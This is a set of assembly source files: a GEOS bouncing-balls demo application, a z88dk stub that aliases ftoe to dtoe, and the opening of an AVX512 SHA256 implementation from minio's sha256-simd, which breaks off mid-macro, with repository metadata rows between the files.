_Application = 1
;
;Standard include files
;
include geos.def
include heap.def
include geode.def
include resource.def
include ec.def
include sem.def
include object.def
include win.def
include graphics.def
include lmem.def
include file.def
include localize.def ; needed for UI resources files
include timer.def
include char.def
include thread.def
include gstring.def ; for the application icon
include Objects/winC.def ; for MSG_META_EXPOSED
;------------------------------------------------------------------------------
; Libraries used
;------------------------------------------------------------------------------
UseLib ui.def
;------------------------------------------------------------------------------
; Resource Definitions
;------------------------------------------------------------------------------
;------------------------------------------------------------------------------
; Macros
;------------------------------------------------------------------------------
;------------------------------------------------------------------------------
; Constants
;------------------------------------------------------------------------------
NUM_BALLS = 20
BALL_WIDTH = 25
BALL_HEIGHT = 25
BALL_MOVE_X = 25
BALL_MOVE_Y = 25
BACKGROUND_COLOR = C_WHITE
;misc stuff
BOUNCE_ERROR enum FatalErrors
BOUNCE_ERROR_BAD_UI_ARGUMENTS enum FatalErrors
;------------------------------------------------------------------------------
; Records and Structures
;------------------------------------------------------------------------------
Ball struct
B_pos Point <>
B_color Color
Ball ends
BounceDrawType etype word
BDT_SQUARE enum BounceDrawType
BDT_CIRCLE enum BounceDrawType
;------------------------------------------------------------------------------
; Definitions
;------------------------------------------------------------------------------
;This class is used for this application's Process object.
BounceProcessClass class GenProcessClass
;This message is sent by the "On/Off" ItemGroup, which the user changes it.
MSG_BOUNCE_SET_ON_OFF_STATE message
;This message is sent by the "Draw Type" ItemGroup, which the user changes
; it.
MSG_BOUNCE_SET_DRAW_TYPE message
;This message is sent to this object every time the timer expires.
MSG_DO_NEXT message
BounceProcessClass endc
;------------------------------------------------------------------------------
; Resources
;------------------------------------------------------------------------------
include bounce.rdef
;------------------------------------------------------------------------------
; Variables
;------------------------------------------------------------------------------
idata segment
BounceProcessClass mask CLASSF_NEVER_SAVED
;------------------------------------------------------------------------------
; Application State Data
;
;All of the following variables are saved to the application's state file.
;------------------------------------------------------------------------------
StartStateData label byte ;beginning of application state data
;On/Off state:
onOffState byte FALSE ;ON by default
drawType BounceDrawType BDT_SQUARE
xChange word BALL_MOVE_X
yChange word BALL_MOVE_Y
balls Ball NUM_BALLS dup (<>)
curBallValues Ball <>
nextBallPtr word offset balls
EndStateData label byte ;beginning of application state data
idata ends
;---------------------------------------------------
udata segment
viewWindow word ;handle of the window in the GenView.
backColor Color ;color of background of view
udata ends
;------------------------------------------------------------------------------
; Code
;------------------------------------------------------------------------------
CommonCode segment resource
COMMENT @----------------------------------------------------------------------
FUNCTION: BounceUIOpenApplication -- MSG_GEN_PROCESS_OPEN_APPLICATION
DESCRIPTION:
CALLED BY:
PASS: AX = Method
CX = AppAttachFlags
DX = Handle to AppLaunchBlock
BP = Block handle
DS, ES = DGroup
RETURN: nothing
DESTROYED: ?
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Adam/Tony 1990 Initial version
Eric 4/27/91 improvements, doc update
------------------------------------------------------------------------------@
BounceUIOpenApplication method BounceProcessClass, MSG_GEN_PROCESS_OPEN_APPLICATION
tst bp
jz 10$
;Restore the data (if any)
push ax, cx, es ; save the method #, segment
mov bx, bp ; block handle to BX
call MemLock
mov ds, ax ; set up the segment
mov cx, (EndStateData - StartStateData)
clr si
mov di, offset StartStateData
rep movsb ; copy the bytes
call MemUnlock
pop ax, cx, es ; restore the method #, segment
10$: ;Now call the superclass
segmov ds, es ; DGroup => DS
mov di, offset BounceProcessClass ; class of SuperClass we call
call ObjCallSuperNoLock ; method already in AX
initUIComponents:
ForceRef initUIComponents
;initialize our UI components according to current state
push ax, cx, dx, bp
;set up the user interface state
call BounceInitUIComponents
pop ax, cx, dx, bp
ret
BounceUIOpenApplication endm
COMMENT @----------------------------------------------------------------------
FUNCTION: BounceUICloseApplication -- MSG_GEN_PROCESS_CLOSE_APPLICATION
DESCRIPTION:
CALLED BY:
PASS: DS, ES = DGroup
AX = MSG_GEN_PROCESS_CLOSE_APPLICATION
RETURN: CX = Block handle holding state data
DESTROYED: ?
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Eric 4/27/91 Initial version
------------------------------------------------------------------------------@
BounceUICloseApplication method BounceProcessClass, \
MSG_GEN_PROCESS_CLOSE_APPLICATION
; Allocate the block
mov ax, (EndStateData - StartStateData)
mov cx, ALLOC_DYNAMIC_NO_ERR or mask HF_SHARABLE or (mask HAF_LOCK shl 8)
call MemAlloc
mov es, ax
; Store the state
mov cx, (EndStateData - StartStateData)
clr di
mov si, offset StartStateData
rep movsb ; copy the bytes
;Clean up
call MemUnlock
mov cx, bx
ret
BounceUICloseApplication endm
COMMENT @----------------------------------------------------------------------
FUNCTION: BounceInitUIComponents
DESCRIPTION: This routine will initialize all of our UI components
according to the current state of our variables.
CALLED BY: BounceAttach
PASS: ds = dgroup
RETURN: nothing
DESTROYED: ?
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Eric 4/28/91 Initial version
------------------------------------------------------------------------------@
BounceInitUIComponents proc near
;set the on/off state
mov cx, TRUE
tst ds:[onOffState] ;is it on?
jnz setOnOffState ;skip if so...
mov cx, FALSE
setOnOffState:
GetResourceHandleNS OnOffItemGroup, bx
mov si, offset OnOffItemGroup ;object OD => BX:SI
mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION
clr dx
clr di
call ObjMessage
;set the draw type state
mov cx, ds:[drawType]
GetResourceHandleNS DrawTypeItemGroup, bx
mov si, offset DrawTypeItemGroup
mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION
clr dx
clr di
call ObjMessage
;determine the background color of the View
GetResourceHandleNS BounceView, bx
mov si, offset BounceView
mov ax, MSG_GEN_VIEW_GET_COLOR
mov di, mask MF_CALL
call ObjMessage
mov ds:[backColor], cl ; assume indexed color - store value
ret
BounceInitUIComponents endp
COMMENT @----------------------------------------------------------------------
FUNCTION: BounceAttach -- MSG_META_ATTACH handler
DESCRIPTION: Perform initialization.
PASS: ds = dgroup
RETURN: nothing
DESTROYED: ?
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Adam 1990 Initial version
Eric 5/91 doc update
------------------------------------------------------------------------------@
BounceAttach method BounceProcessClass, MSG_META_ATTACH
;Call our superclass (the UI) to get stuff started
mov di,offset BounceProcessClass
call ObjCallSuperNoLock
tst ds:[onOffState]
jz done
call GeodeGetProcessHandle
mov ax,MSG_DO_NEXT
mov di,mask MF_FORCE_QUEUE
call ObjMessage
done:
ret
BounceAttach endp
COMMENT @----------------------------------------------------------------------
FUNCTION: BounceDetach
DESCRIPTION: Cleans up the application prior to exiting
CALLED BY: GLOBAL
PASS: ds = dgroup
RETURN: nothing
DESTROYED: ?
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Adam 1990 Initial version
Eric 5/91 improvements, doc update
------------------------------------------------------------------------------@
;BounceDetach method BounceProcessClass, MSG_META_DETACH
;
; ;turn off timers, etc.
;
; ; Call our superclass (the UI) to finish
;
; mov ax,MSG_META_DETACH
; mov di,offset BounceProcessClass
; call ObjCallSuperNoLock
; ret
;BounceDetach endp
COMMENT @----------------------------------------------------------------------
FUNCTION: BounceViewWinClosed
DESCRIPTION: This method is sent by the window inside the GenView,
as it is closing. This indicates that the application
is exiting, or is being iconified.
PASS: ds = dgroup
bp - window handle
RETURN: nothing
DESTROYED: ?
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Adam 1990 Initial version
Eric 5/91 doc update
------------------------------------------------------------------------------@
BounceViewWinClosed method BounceProcessClass,
MSG_META_CONTENT_VIEW_WIN_CLOSED
cmp bp, ds:[viewWindow] ;is it our window?
jnz 50$ ;skip if not...
;nuke our window and GState handles
mov ds:[viewWindow], 0 ;indicate that we don't have a window
50$:
mov di,offset BounceProcessClass
GOTO ObjCallSuperNoLock
BounceViewWinClosed endp
COMMENT @----------------------------------------------------------------------
FUNCTION: BounceSetOnOffState -- MSG_BOUNCE_SET_ON_OFF_STATE
DESCRIPTION: This method is sent by our "On/Off" ItemGroup,
when the user makes a change.
PASS: ds = dgroup
cx = TRUE/FALSE
RETURN: nothing
DESTROYED: ?
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Eric 5/91 Initial version
------------------------------------------------------------------------------@
BounceSetOnOffState method BounceProcessClass, \
MSG_BOUNCE_SET_ON_OFF_STATE
;cx = TRUE or FALSE, so just store lower byte of this value
mov ds:[onOffState], cl ;save the new state
tst cl
jz 90$ ;skip if now is off...
mov ds:[onOffState],1
call GeodeGetProcessHandle
mov ax,MSG_DO_NEXT
mov di,mask MF_FORCE_QUEUE
call ObjMessage
90$:
ret
BounceSetOnOffState endm
COMMENT @----------------------------------------------------------------------
FUNCTION: BounceSetDrawType -- MSG_BOUNCE_SET_DRAW_TYPE
DESCRIPTION: This method is sent by our "Draw Type" ItemGroup,
when the user makes a change.
PASS: ds = dgroup
cx = BounceDrawType
RETURN: nothing
DESTROYED: ?
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Eric 5/91 Initial version
------------------------------------------------------------------------------@
BounceSetDrawType method BounceProcessClass, \
MSG_BOUNCE_SET_DRAW_TYPE
; cx = BounceDrawType, so just store the value
;
mov ds:[drawType], cx ; store the draw type
; force the window to get re-drawn
;
mov cx, ds:[viewWindow] ; window handle => CX
jcxz done ; if none, do nothing
; Tell the window that its image is invalid
;
mov di, cx
call GrCreateState
call GrGetWinBounds ; bounds => AX, BX, CX, DX
call GrInvalRect ; invalidate the image in the Window
call GrDestroyState
done:
ret
BounceSetDrawType endm
COMMENT @----------------------------------------------------------------------
FUNCTION: BounceExposed -- MSG_META_EXPOSED handler.
DESCRIPTION: Draws all of the balls
CALLED BY: GLOBAL
PASS: ds = dgroup
RETURN: nothing
DESTROYED: AX, BX, CX, DX, DI, SI, BP
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Adam/Tony 1990 initial version
Eric 5/91 doc update, cleanup
------------------------------------------------------------------------------@
BounceExposed method BounceProcessClass, MSG_META_EXPOSED
;if we have just appeared on-screen, or have been opened from
;the iconified state, then send method to self to continue bouncing
tst ds:[viewWindow]
jnz 10$ ;skip if already was visible...
mov ds:[viewWindow],cx ;save handle of window.
;if we are on, then start up loop:
tst ds:[onOffState]
jz 10$ ;skip if not on...
call GeodeGetProcessHandle
mov ax,MSG_DO_NEXT
mov di,mask MF_FORCE_QUEUE
call ObjMessage
10$: ;Create us a GState
mov di, ds:[viewWindow] ;di = window
call GrCreateState ;returns gstate in di
;Updating the window...
call GrBeginUpdate
mov cx, NUM_BALLS ;draw them all
mov si, offset balls
BEW_loop:
push cx
call DrawBall
pop cx
add si,size Ball
loop BEW_loop
call GrEndUpdate ;done updating...
call GrDestroyState ;destroy our gstate
ret
BounceExposed endp
COMMENT @----------------------------------------------------------------------
FUNCTION: Bounce -- MSG_ handler
DESCRIPTION: Draw the next ball
PASS: ds = dgroup
RETURN: nothing
DESTROYED: AX, BX, CX, DX, DI, SI, BP
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Adam 1990 Initial version
Eric 5/91 doc update
------------------------------------------------------------------------------@
BounceDoNext method BounceProcessClass, MSG_DO_NEXT
mov di, ds:[viewWindow] ;di = window
tst di
jz done
call GrCreateState ;returns gstate in di
; Suck up a bit of CPU time, so we can play w/new thread model
;
; mov cx, 100
;nextBallLoop:
; push cx
call NextBall
; pop cx
; loop nextBallLoop
call GrDestroyState ;destroy our gstate
;this is what decides our CPU load! If you comment this out,
;Bounce will suck up 100% of the CPU.
mov ax,1
call TimerSleep
tst ds:[onOffState]
jz done
call GeodeGetProcessHandle
mov ax,MSG_DO_NEXT
mov di,mask MF_FORCE_QUEUE
call ObjMessage
done:
ret
BounceDoNext endp
COMMENT @----------------------------------------------------------------------
FUNCTION: NextBall()
DESCRIPTION: Draws the next ball, by erasing the last one, and determining
the next ball atributes and drawing the ball
PASS: DI = GState
RETURN: Nothing
DESTROYED: AX, BX, CX, DX, BP
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Adam 1990 Initial version
Don 6/91 Documentation update
------------------------------------------------------------------------------@
NextBall proc near
mov si,ds:[nextBallPtr]
call EraseBall ;erase current ball
call GetNextBallValues
; store vars for next ball
mov ds:[si].B_color,cl
mov ds:[si].B_pos.P_x,ax
mov ds:[si].B_pos.P_y,bx
; draw the ball
call DrawBall
; move to next ball
add si,size Ball ;move to next ball
cmp si,offset balls + ((size Ball) * NUM_BALLS)
jnz noWrap
mov si,offset balls
noWrap:
mov ds:[nextBallPtr],si
ret
NextBall endp
COMMENT @----------------------------------------------------------------------
FUNCTION: GetNextBallValues()
DESCRIPTION: Determine all the attributes of the nest ball, including
position and color
PASS: DS = Color
RETURN: AX = Horizontal position
BX = Vertical position
CL = Color
DESTROYED: AX, BX, CX, DX
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Adam 1990 Initial version
Don 6/91 Documentation update
------------------------------------------------------------------------------@
GetNextBallValues proc near
call GrGetWinBounds ;cx = right, dx = bottom
sub cx,BALL_WIDTH ;make cx = max x position
sub dx,BALL_HEIGHT ;make dx = max y position
; move to next x position
mov ax,ds:[curBallValues].B_pos.P_x
add ax,ds:[xChange]
js leftWall ;if <0 then hit left wall
cmp ax,cx
jl xGood
mov ax,cx ;past right edge, turn around
jmp xTurnAround
leftWall:
clr ax ;past left edge, turn around
xTurnAround:
neg ds:[xChange]
xGood:
mov ds:[curBallValues].B_pos.P_x,ax
; move to next y position
mov bx,ds:[curBallValues].B_pos.P_y
add bx,ds:[yChange]
js topWall ;if <0 then hit top wall
cmp bx,dx
jl yGood
mov bx,dx ;past bottom edge, turn around
jmp yTurnAround
topWall:
clr bx ;past top edge, turn around
yTurnAround:
neg ds:[yChange]
yGood:
mov ds:[curBallValues].B_pos.P_y,bx
; move to next color
mov cl,ds:[curBallValues].B_color
newColor:
inc cl
and cl,15
cmp cl, ds:[backColor] ;don't draw in same color as background
je newColor ;if so, get the next color
mov ds:[curBallValues].B_color,cl
ret
GetNextBallValues endp
COMMENT @----------------------------------------------------------------------
FUNCTION: DrawBall()
DESCRIPTION: Draws a ball
PASS: DS:SI = Ball
DI = GState
RETURN: Nothing
DESTROYED: AX, BX, CX, DX, BP
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Adam 1990 Initial version
Don 6/91 Documentation update
------------------------------------------------------------------------------@
drawBallFuncs nptr \
DrawSquareBall,
DrawCircleBall
DrawBall proc near
mov al,ds:[si].B_color
clr ah
call GrSetAreaColor
call GetBallPos
mov bp, ds:[drawType]
shl bp, 1 ; change offset to words
call cs:drawBallFuncs[bp]
ret
DrawBall endp
DrawSquareBall proc near
mov cx, ax
mov dx, bx
add cx, BALL_WIDTH
add dx, BALL_HEIGHT
call GrFillRect
ret
DrawSquareBall endp
DrawCircleBall proc near
push ds, si
segmov ds, cs
mov si, offset circleBall
call GrDrawRegion
pop ds, si
ret
DrawCircleBall endp
COMMENT @----------------------------------------------------------------------
FUNCTION: EraseBall
DESCRIPTION: Erases a ball from the screen
PASS: DS:SI = Ball
DI = GState
RETURN: Nothing
DESTROYED: AX, BX, CX, DX, BP
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Adam 1990 Initial version
Don 6/91 Documentation update
------------------------------------------------------------------------------@
EraseBall proc near
mov al,BACKGROUND_COLOR
clr ah
call GrSetAreaColor
call GetBallPos
mov bp, ds:[drawType]
shl bp, 1 ; change offset to words
call cs:drawBallFuncs[bp]
ret
EraseBall endp
COMMENT @----------------------------------------------------------------------
FUNCTION: GetBallPos()
DESCRIPTION: Returns the position of the next ball
PASS: DS:SI = Ball
RETURN: AX = Horizontal position
BX = Vertical position
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Adam 1990 Initial version
Don 6/91 Documentation update
------------------------------------------------------------------------------@
; pass: ds:si - ball, di - gstate
; return: ax, bx, cx, dx - bounds to draw
GetBallPos proc near
mov ax, ds:[si].B_pos.P_x
mov bx, ds:[si].B_pos.P_y
ret
GetBallPos endp
; Our wonderful little circle, done as a region to be quick
;
circleBall label Region
word 0,0,BALL_WIDTH,BALL_HEIGHT ; bounds
word -1, EOREGREC ; from infinity to here
word 0, 9, 15, EOREGREC
word 1, 7, 17, EOREGREC
word 2, 5, 19, EOREGREC
word 3, 4, 20, EOREGREC
word 4, 3, 21, EOREGREC
word 6, 2, 22, EOREGREC
word 8, 1, 23, EOREGREC
word 15, 0, 24, EOREGREC
word 17, 1, 23, EOREGREC
word 19, 2, 22, EOREGREC
word 20, 3, 21, EOREGREC
word 21, 4, 20, EOREGREC
word 22, 5, 19, EOREGREC
word 23, 7, 17, EOREGREC
word 24, 9, 15, EOREGREC
word EOREGREC
CommonCode ends
| 22.140102
| 84
| 0.555438
|
08cf2211e314775577a2123affb79f8879f37b38
| 499
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/stdlib/z80/asm_ftoe.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/_DEVELOPMENT/stdlib/z80/asm_ftoe.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/_DEVELOPMENT/stdlib/z80/asm_ftoe.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
; ===============================================================
; Jun 2015
; ===============================================================
;
; size_t ftoe(float x, char *buf, uint16_t prec, uint16_t flag)
;
; (-d.dddde+dd)
;
; An alias for dtoe() since the C compilers do not distinguish
; between float and double currently.
;
; ===============================================================
SECTION code_clib
SECTION code_stdlib
PUBLIC asm_ftoe
EXTERN asm_dtoe
defc asm_ftoe = asm_dtoe
| 21.695652
| 65
| 0.44489
|
c959b1aa262d9a4a5106a556540fe1372e8cdba3
| 33,499
|
asm
|
Assembly
|
vendor/github.com/minio/sha256-simd/sha256blockAvx512_amd64.asm
|
ranton256/cortex
|
eafcc9243d517fcf11e5255b30dea275377f09c5
|
[
"Apache-2.0"
] | 31,195
|
2015-06-03T06:32:16.000Z
|
2022-03-31T20:53:04.000Z
|
vendor/github.com/minio/sha256-simd/sha256blockAvx512_amd64.asm
|
ranton256/cortex
|
eafcc9243d517fcf11e5255b30dea275377f09c5
|
[
"Apache-2.0"
] | 17,436
|
2015-06-03T14:59:31.000Z
|
2022-03-31T23:49:12.000Z
|
vendor/github.com/minio/sha256-simd/sha256blockAvx512_amd64.asm
|
ranton256/cortex
|
eafcc9243d517fcf11e5255b30dea275377f09c5
|
[
"Apache-2.0"
] | 5,356
|
2015-06-03T10:10:50.000Z
|
2022-03-31T20:52:54.000Z
|
// 16x Parallel implementation of SHA256 for AVX512
//
// Minio Cloud Storage, (C) 2017 Minio, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
// This code is based on the Intel Multi-Buffer Crypto for IPSec library
// and more specifically the following implementation:
// https://github.com/intel/intel-ipsec-mb/blob/master/avx512/sha256_x16_avx512.asm
//
// For Golang it has been converted into Plan 9 assembly with the help of
// github.com/minio/asm2plan9s to assemble the AVX512 instructions
//
// Copyright (c) 2017, Intel Corporation
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above copyright
// notice, this list of conditions and the following disclaimer in the
// documentation and/or other materials provided with the distribution.
// * Neither the name of Intel Corporation nor the names of its contributors
// may be used to endorse or promote products derived from this software
// without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#define SHA256_DIGEST_ROW_SIZE 64
// arg1
#define STATE rdi
#define STATE_P9 DI
// arg2
#define INP_SIZE rsi
#define INP_SIZE_P9 SI
#define IDX rcx
#define TBL rdx
#define TBL_P9 DX
#define INPUT rax
#define INPUT_P9 AX
#define inp0 r9
#define SCRATCH_P9 R12
#define SCRATCH r12
#define maskp r13
#define MASKP_P9 R13
#define mask r14
#define MASK_P9 R14
#define A zmm0
#define B zmm1
#define C zmm2
#define D zmm3
#define E zmm4
#define F zmm5
#define G zmm6
#define H zmm7
#define T1 zmm8
#define TMP0 zmm9
#define TMP1 zmm10
#define TMP2 zmm11
#define TMP3 zmm12
#define TMP4 zmm13
#define TMP5 zmm14
#define TMP6 zmm15
#define W0 zmm16
#define W1 zmm17
#define W2 zmm18
#define W3 zmm19
#define W4 zmm20
#define W5 zmm21
#define W6 zmm22
#define W7 zmm23
#define W8 zmm24
#define W9 zmm25
#define W10 zmm26
#define W11 zmm27
#define W12 zmm28
#define W13 zmm29
#define W14 zmm30
#define W15 zmm31
#define TRANSPOSE16(_r0, _r1, _r2, _r3, _r4, _r5, _r6, _r7, _r8, _r9, _r10, _r11, _r12, _r13, _r14, _r15, _t0, _t1) \
\
\ // input r0 = {a15 a14 a13 a12 a11 a10 a9 a8 a7 a6 a5 a4 a3 a2 a1 a0}
\ // r1 = {b15 b14 b13 b12 b11 b10 b9 b8 b7 b6 b5 b4 b3 b2 b1 b0}
\ // r2 = {c15 c14 c13 c12 c11 c10 c9 c8 c7 c6 c5 c4 c3 c2 c1 c0}
\ // r3 = {d15 d14 d13 d12 d11 d10 d9 d8 d7 d6 d5 d4 d3 d2 d1 d0}
\ // r4 = {e15 e14 e13 e12 e11 e10 e9 e8 e7 e6 e5 e4 e3 e2 e1 e0}
\ // r5 = {f15 f14 f13 f12 f11 f10 f9 f8 f7 f6 f5 f4 f3 f2 f1 f0}
\ // r6 = {g15 g14 g13 g12 g11 g10 g9 g8 g7 g6 g5 g4 g3 g2 g1 g0}
\ // r7 = {h15 h14 h13 h12 h11 h10 h9 h8 h7 h6 h5 h4 h3 h2 h1 h0}
\ // r8 = {i15 i14 i13 i12 i11 i10 i9 i8 i7 i6 i5 i4 i3 i2 i1 i0}
\ // r9 = {j15 j14 j13 j12 j11 j10 j9 j8 j7 j6 j5 j4 j3 j2 j1 j0}
\ // r10 = {k15 k14 k13 k12 k11 k10 k9 k8 k7 k6 k5 k4 k3 k2 k1 k0}
\ // r11 = {l15 l14 l13 l12 l11 l10 l9 l8 l7 l6 l5 l4 l3 l2 l1 l0}
\ // r12 = {m15 m14 m13 m12 m11 m10 m9 m8 m7 m6 m5 m4 m3 m2 m1 m0}
\ // r13 = {n15 n14 n13 n12 n11 n10 n9 n8 n7 n6 n5 n4 n3 n2 n1 n0}
\ // r14 = {o15 o14 o13 o12 o11 o10 o9 o8 o7 o6 o5 o4 o3 o2 o1 o0}
\ // r15 = {p15 p14 p13 p12 p11 p10 p9 p8 p7 p6 p5 p4 p3 p2 p1 p0}
\
\ // output r0 = { p0 o0 n0 m0 l0 k0 j0 i0 h0 g0 f0 e0 d0 c0 b0 a0}
\ // r1 = { p1 o1 n1 m1 l1 k1 j1 i1 h1 g1 f1 e1 d1 c1 b1 a1}
\ // r2 = { p2 o2 n2 m2 l2 k2 j2 i2 h2 g2 f2 e2 d2 c2 b2 a2}
\ // r3 = { p3 o3 n3 m3 l3 k3 j3 i3 h3 g3 f3 e3 d3 c3 b3 a3}
\ // r4 = { p4 o4 n4 m4 l4 k4 j4 i4 h4 g4 f4 e4 d4 c4 b4 a4}
\ // r5 = { p5 o5 n5 m5 l5 k5 j5 i5 h5 g5 f5 e5 d5 c5 b5 a5}
\ // r6 = { p6 o6 n6 m6 l6 k6 j6 i6 h6 g6 f6 e6 d6 c6 b6 a6}
\ // r7 = { p7 o7 n7 m7 l7 k7 j7 i7 h7 g7 f7 e7 d7 c7 b7 a7}
\ // r8 = { p8 o8 n8 m8 l8 k8 j8 i8 h8 g8 f8 e8 d8 c8 b8 a8}
\ // r9 = { p9 o9 n9 m9 l9 k9 j9 i9 h9 g9 f9 e9 d9 c9 b9 a9}
\ // r10 = {p10 o10 n10 m10 l10 k10 j10 i10 h10 g10 f10 e10 d10 c10 b10 a10}
\ // r11 = {p11 o11 n11 m11 l11 k11 j11 i11 h11 g11 f11 e11 d11 c11 b11 a11}
\ // r12 = {p12 o12 n12 m12 l12 k12 j12 i12 h12 g12 f12 e12 d12 c12 b12 a12}
\ // r13 = {p13 o13 n13 m13 l13 k13 j13 i13 h13 g13 f13 e13 d13 c13 b13 a13}
\ // r14 = {p14 o14 n14 m14 l14 k14 j14 i14 h14 g14 f14 e14 d14 c14 b14 a14}
\ // r15 = {p15 o15 n15 m15 l15 k15 j15 i15 h15 g15 f15 e15 d15 c15 b15 a15}
\
\ // process top half
vshufps _t0, _r0, _r1, 0x44 \ // t0 = {b13 b12 a13 a12 b9 b8 a9 a8 b5 b4 a5 a4 b1 b0 a1 a0}
vshufps _r0, _r0, _r1, 0xEE \ // r0 = {b15 b14 a15 a14 b11 b10 a11 a10 b7 b6 a7 a6 b3 b2 a3 a2}
vshufps _t1, _r2, _r3, 0x44 \ // t1 = {d13 d12 c13 c12 d9 d8 c9 c8 d5 d4 c5 c4 d1 d0 c1 c0}
vshufps _r2, _r2, _r3, 0xEE \ // r2 = {d15 d14 c15 c14 d11 d10 c11 c10 d7 d6 c7 c6 d3 d2 c3 c2}
\
vshufps _r3, _t0, _t1, 0xDD \ // r3 = {d13 c13 b13 a13 d9 c9 b9 a9 d5 c5 b5 a5 d1 c1 b1 a1}
vshufps _r1, _r0, _r2, 0x88 \ // r1 = {d14 c14 b14 a14 d10 c10 b10 a10 d6 c6 b6 a6 d2 c2 b2 a2}
vshufps _r0, _r0, _r2, 0xDD \ // r0 = {d15 c15 b15 a15 d11 c11 b11 a11 d7 c7 b7 a7 d3 c3 b3 a3}
vshufps _t0, _t0, _t1, 0x88 \ // t0 = {d12 c12 b12 a12 d8 c8 b8 a8 d4 c4 b4 a4 d0 c0 b0 a0}
\
\ // use r2 in place of t0
vshufps _r2, _r4, _r5, 0x44 \ // r2 = {f13 f12 e13 e12 f9 f8 e9 e8 f5 f4 e5 e4 f1 f0 e1 e0}
vshufps _r4, _r4, _r5, 0xEE \ // r4 = {f15 f14 e15 e14 f11 f10 e11 e10 f7 f6 e7 e6 f3 f2 e3 e2}
vshufps _t1, _r6, _r7, 0x44 \ // t1 = {h13 h12 g13 g12 h9 h8 g9 g8 h5 h4 g5 g4 h1 h0 g1 g0}
vshufps _r6, _r6, _r7, 0xEE \ // r6 = {h15 h14 g15 g14 h11 h10 g11 g10 h7 h6 g7 g6 h3 h2 g3 g2}
\
vshufps _r7, _r2, _t1, 0xDD \ // r7 = {h13 g13 f13 e13 h9 g9 f9 e9 h5 g5 f5 e5 h1 g1 f1 e1}
vshufps _r5, _r4, _r6, 0x88 \ // r5 = {h14 g14 f14 e14 h10 g10 f10 e10 h6 g6 f6 e6 h2 g2 f2 e2}
vshufps _r4, _r4, _r6, 0xDD \ // r4 = {h15 g15 f15 e15 h11 g11 f11 e11 h7 g7 f7 e7 h3 g3 f3 e3}
vshufps _r2, _r2, _t1, 0x88 \ // r2 = {h12 g12 f12 e12 h8 g8 f8 e8 h4 g4 f4 e4 h0 g0 f0 e0}
\
\ // use r6 in place of t0
vshufps _r6, _r8, _r9, 0x44 \ // r6 = {j13 j12 i13 i12 j9 j8 i9 i8 j5 j4 i5 i4 j1 j0 i1 i0}
vshufps _r8, _r8, _r9, 0xEE \ // r8 = {j15 j14 i15 i14 j11 j10 i11 i10 j7 j6 i7 i6 j3 j2 i3 i2}
vshufps _t1, _r10, _r11, 0x44 \ // t1 = {l13 l12 k13 k12 l9 l8 k9 k8 l5 l4 k5 k4 l1 l0 k1 k0}
vshufps _r10, _r10, _r11, 0xEE \ // r10 = {l15 l14 k15 k14 l11 l10 k11 k10 l7 l6 k7 k6 l3 l2 k3 k2}
\
